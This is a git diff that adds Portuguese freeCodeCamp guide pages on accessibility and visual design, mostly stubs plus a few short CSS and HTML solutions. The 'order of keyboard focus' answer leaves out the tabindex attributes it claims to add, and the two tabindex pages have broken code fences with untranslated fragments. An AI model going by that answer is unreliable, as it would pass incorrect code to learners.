diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-carefully-choosing-colors-that-convey-information/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-carefully-choosing-colors-that-convey-information/index.md
new file mode 100644
index 0000000000..ceca437b5c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-carefully-choosing-colors-that-convey-information/index.md
@@ -0,0 +1,17 @@
+---
+title: Avoid Colorblindness Issues by Carefully Choosing Colors that Convey Information
+localeTitle: Evite problemas de daltonismo escolhendo cuidadosamente as cores que transmitem informações
+---
+## Evite problemas de daltonismo escolhendo cuidadosamente as cores que transmitem informações
+
+Seguindo as instruções:
+
+Alterar a cor do texto para azul escuro (# 003366)
+
+a linha 4 torna-se:
+
+```css
+color: #003366; 
+```
+
+e a cor do texto ficará mais escura.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-using-sufficient-contrast/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-using-sufficient-contrast/index.md
new file mode 100644
index 0000000000..c4b82e41e4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-using-sufficient-contrast/index.md
@@ -0,0 +1,18 @@
+---
+title: Avoid Colorblindness Issues by Using Sufficient Contrast
+localeTitle: Evitar problemas de daltonismo usando o contraste suficiente
+---
+## Evitar problemas de daltonismo usando o contraste suficiente
+
+Seguindo as instruções:
+
+Aumente o valor de luminosidade da cor de fundo de 35% para 55% e diminua o valor de luminosidade de cor de 20% para 15%.
+
+as linhas 4 e 5 tornam-se:
+
+```css
+    color: hsl(0, 55%, 15%); 
+    background-color: hsl(120, 25%, 55%); 
+```
+
+Isso melhora o contraste para 5.9: 1.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md
new file mode 100644
index 0000000000..73fbb14d17
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Give Links Meaning by Using Descriptive Link Text
+localeTitle: Dar sentido de links usando texto de link descritivo
+---
+## Dar sentido de links usando texto de link descritivo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md
new file mode 100644
index 0000000000..91a274752b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Accessibility of Audio Content with the audio Element
+localeTitle: Melhore a acessibilidade do conteúdo de áudio com o elemento de áudio
+---
+## Melhore a acessibilidade do conteúdo de áudio com o elemento de áudio
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md
new file mode 100644
index 0000000000..da5475a5a1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Chart Accessibility with the figure Element
+localeTitle: Melhore a acessibilidade do gráfico com a figura Element
+---
+## Melhore a acessibilidade do gráfico com a figura Element
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md
new file mode 100644
index 0000000000..5fe2b6467f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Form Field Accessibility with the label Element
+localeTitle: Melhore a acessibilidade do campo de formulário com o elemento label
+---
+## Melhore a acessibilidade do campo de formulário com o elemento label
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md
new file mode 100644
index 0000000000..89e52c3630
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Readability with High Contrast Text
+localeTitle: Melhore a legibilidade com texto de alto contraste
+---
+## Melhore a legibilidade com texto de alto contraste
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/index.md
new file mode 100644
index 0000000000..79c18fd045
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/index.md
@@ -0,0 +1,11 @@
+---
+title: Applied Accessibility
+localeTitle: Acessibilidade Aplicada
+---
+## Acessibilidade Aplicada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md
new file mode 100644
index 0000000000..5dad5d202a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Jump Straight to the Content Using the main Element
+localeTitle: Ir direto ao conteúdo usando o elemento principal
+---
+## Ir direto ao conteúdo usando o elemento principal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md
new file mode 100644
index 0000000000..95f018f745
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md
@@ -0,0 +1,9 @@
+---
+title: Know When Alt Text Should be Left Blank
+localeTitle: Saiba quando o texto alternativo deve ser deixado em branco
+---
+## Saiba quando o texto alternativo deve ser deixado em branco
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md
new file mode 100644
index 0000000000..c042a2ed3f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Elements Only Visible to a Screen Reader by Using Custom CSS
+localeTitle: Tornar os elementos visíveis apenas para um leitor de tela usando CSS personalizado
+---
+## Tornar os elementos visíveis apenas para um leitor de tela usando CSS personalizado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-links-navigatable-with-html-access-keys/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-links-navigatable-with-html-access-keys/index.md
new file mode 100644
index 0000000000..e5b4f44193
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-links-navigatable-with-html-access-keys/index.md
@@ -0,0 +1,17 @@
+---
+title: Make Links Navigatable with HTML Access Keys
+localeTitle: Tornar Links Navegáveis ​​com Chaves de Acesso HTML
+---
+## Tornar Links Navegáveis ​​com Chaves de Acesso HTML
+
+Seguindo as instruções: Adicione um atributo accesskey aos dois links e defina o primeiro para "g" (para Garfield) e o segundo para "c" (para Chuck Norris). as linhas 8 e 16 tornam-se:
+
+```css
+<h2><a id="first" accesskey="g" href="">The Garfield Files: Lasagna as Training Fuel?</a></h2> 
+```
+
+```css
+<h2><a id="second" accesskey="c" href="">Is Chuck Norris a Cat Person?</a></h2> 
+```
+
+Desta forma, os links em torno dos dois títulos de artigos do blog para ter atalhos de teclado para que os usuários do seu site possam navegar rapidamente para a história completa.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md
new file mode 100644
index 0000000000..4d5ff21286
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Screen Reader Navigation Easier with the footer Landmark
+localeTitle: Torne a navegação do leitor de tela mais fácil com o rodapé Landmark
+---
+## Torne a navegação do leitor de tela mais fácil com o rodapé Landmark
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md
new file mode 100644
index 0000000000..d06091f85e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Screen Reader Navigation Easier with the header Landmark
+localeTitle: Facilitar a navegação do leitor de tela com o cabeçalho Landmark
+---
+## Facilitar a navegação do leitor de tela com o cabeçalho Landmark
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md
new file mode 100644
index 0000000000..b76eaf196e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Screen Reader Navigation Easier with the nav Landmark
+localeTitle: Torne a navegação do leitor de tela mais fácil com o marco de navegação
+---
+## Torne a navegação do leitor de tela mais fácil com o marco de navegação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md
new file mode 100644
index 0000000000..54d0dce8da
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md
@@ -0,0 +1,9 @@
+---
+title: Standardize Times with the HTML5 datetime Attribute
+localeTitle: Padronizar Tempos com o Atributo de Data e Hora HTML5
+---
+## Padronizar Tempos com o Atributo de Data e Hora HTML5
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md
new file mode 100644
index 0000000000..56b9b6f739
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Headings to Show Hierarchical Relationships of Content
+localeTitle: Use títulos para mostrar relações hierárquicas de conteúdo
+---
+## Use títulos para mostrar relações hierárquicas de conteúdo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-add-keyboard-focus-to-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-add-keyboard-focus-to-an-element/index.md
new file mode 100644
index 0000000000..baff365e38
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-add-keyboard-focus-to-an-element/index.md
@@ -0,0 +1,20 @@
+---
+title: Use tabindex to Add Keyboard Focus to an Element
+localeTitle: Use tabindex para adicionar foco do teclado a um elemento
+---
+## Use tabindex para adicionar foco do teclado a um elemento
+
+Seguindo as instruções:
+
+Adicione um atributo tabindex à tag p e defina seu valor como "0".
+
+a linha 16 \`\` \`css
+
+Instruções: Preencha TODAS as suas informações e clique em **Enviar**
+```
+becomes: 
+ ```css 
+    <p tabindex="0">Instructions: Fill in ALL your information then click <b>Submit</b></p> 
+```
+
+Dessa forma, ele receberá o foco do teclado quando um usuário navegar por uma página.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-specify-the-order-of-keyboard-focus-for-several-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-specify-the-order-of-keyboard-focus-for-several-elements/index.md
new file mode 100644
index 0000000000..2083883865
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-specify-the-order-of-keyboard-focus-for-several-elements/index.md
@@ -0,0 +1,20 @@
+---
+title: Use tabindex to Specify the Order of Keyboard Focus for Several Elements
+localeTitle: Use tabindex para especificar a ordem do foco do teclado para vários elementos
+---
+## Use tabindex para especificar a ordem do foco do teclado para vários elementos
+
+Seguindo as instruções:
+
+Adicione um atributo tabindex definido como "1" à entrada de pesquisa e um atributo tabindex definido como "2" à entrada de envio.
+
+as linhas 16 e 17 \`\` \`css  
+```
+become: 
+ 
+ ```css 
+    <input type="search" name="search" id="search"> 
+    <input type="submit" name="submit" value="Submit" id="submit"> 
+```
+
+Dessa forma, os controles de entrada de pesquisa e de formulário de entrada de envio são os dois primeiros itens na ordem de tabulação.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md
new file mode 100644
index 0000000000..0bbceaede3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Wrap Content in the article Element
+localeTitle: Embrulhe conteúdo no artigo Elemento
+---
+## Embrulhe conteúdo no artigo Elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md
new file mode 100644
index 0000000000..770e1d3b76
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md
@@ -0,0 +1,9 @@
+---
+title: Wrap Radio Buttons in a fieldset Element for Better Accessibility
+localeTitle: Enrole os botões de rádio em um elemento fieldset para uma melhor acessibilidade
+---
+## Enrole os botões de rádio em um elemento fieldset para uma melhor acessibilidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/add-a-box-shadow-to-a-card-like-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/add-a-box-shadow-to-a-card-like-element/index.md
new file mode 100644
index 0000000000..11d3920a79
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/add-a-box-shadow-to-a-card-like-element/index.md
@@ -0,0 +1,11 @@
+---
+title: Add a box-shadow to a Card-like Element
+localeTitle: Adicionar uma sombra de caixa a um elemento semelhante ao cartão
+---
+## Adicionar uma sombra de caixa a um elemento semelhante ao cartão
+
+A propriedade box-shadow anexa uma ou mais sombras a um elemento.
+
+h-offset: Obrigatório. O deslocamento horizontal da sombra. Um valor positivo coloca a sombra no lado direito da caixa, um valor negativo coloca a sombra no lado esquerdo da caixa.
+
+v-offset: Obrigatório. O deslocamento vertical da sombra. Um valor positivo coloca a sombra abaixo da caixa, um valor negativo coloca a sombra acima da caixa.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md
new file mode 100644
index 0000000000..61201bd6bd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the background-color Property of Text
+localeTitle: Ajustar a propriedade de cor de fundo do texto
+---
+## Ajustar a propriedade de cor de fundo do texto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md
new file mode 100644
index 0000000000..705d594cba
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Color of Various Elements to Complementary Colors
+localeTitle: Ajuste a cor de vários elementos para cores complementares
+---
+## Ajuste a cor de vários elementos para cores complementares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md
new file mode 100644
index 0000000000..5ae1bf70bb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Height of an Element Using the height Property
+localeTitle: Ajustar a altura de um elemento usando a propriedade height
+---
+## Ajustar a altura de um elemento usando a propriedade height
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md
new file mode 100644
index 0000000000..cf195de2d4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Hover State of an Anchor Tag
+localeTitle: Ajustar o estado de foco de uma marca de âncora
+---
+## Ajustar o estado de foco de uma marca de âncora
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md
new file mode 100644
index 0000000000..227b6583bc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Hue of a Color
+localeTitle: Ajustar o tom de uma cor
+---
+## Ajustar o tom de uma cor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md
new file mode 100644
index 0000000000..f665d93f07
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Size of a Header Versus a Paragraph Tag
+localeTitle: Ajustar o tamanho de um cabeçalho versus uma tag de parágrafo
+---
+## Ajustar o tamanho de um cabeçalho versus uma tag de parágrafo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md
new file mode 100644
index 0000000000..98c6440ded
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Tone of a Color
+localeTitle: Ajustar o tom de uma cor
+---
+## Ajustar o tom de uma cor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md
new file mode 100644
index 0000000000..ce7b689d26
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Width of an Element Using the width Property
+localeTitle: Ajustar a largura de um elemento usando a propriedade width
+---
+## Ajustar a largura de um elemento usando a propriedade width
+
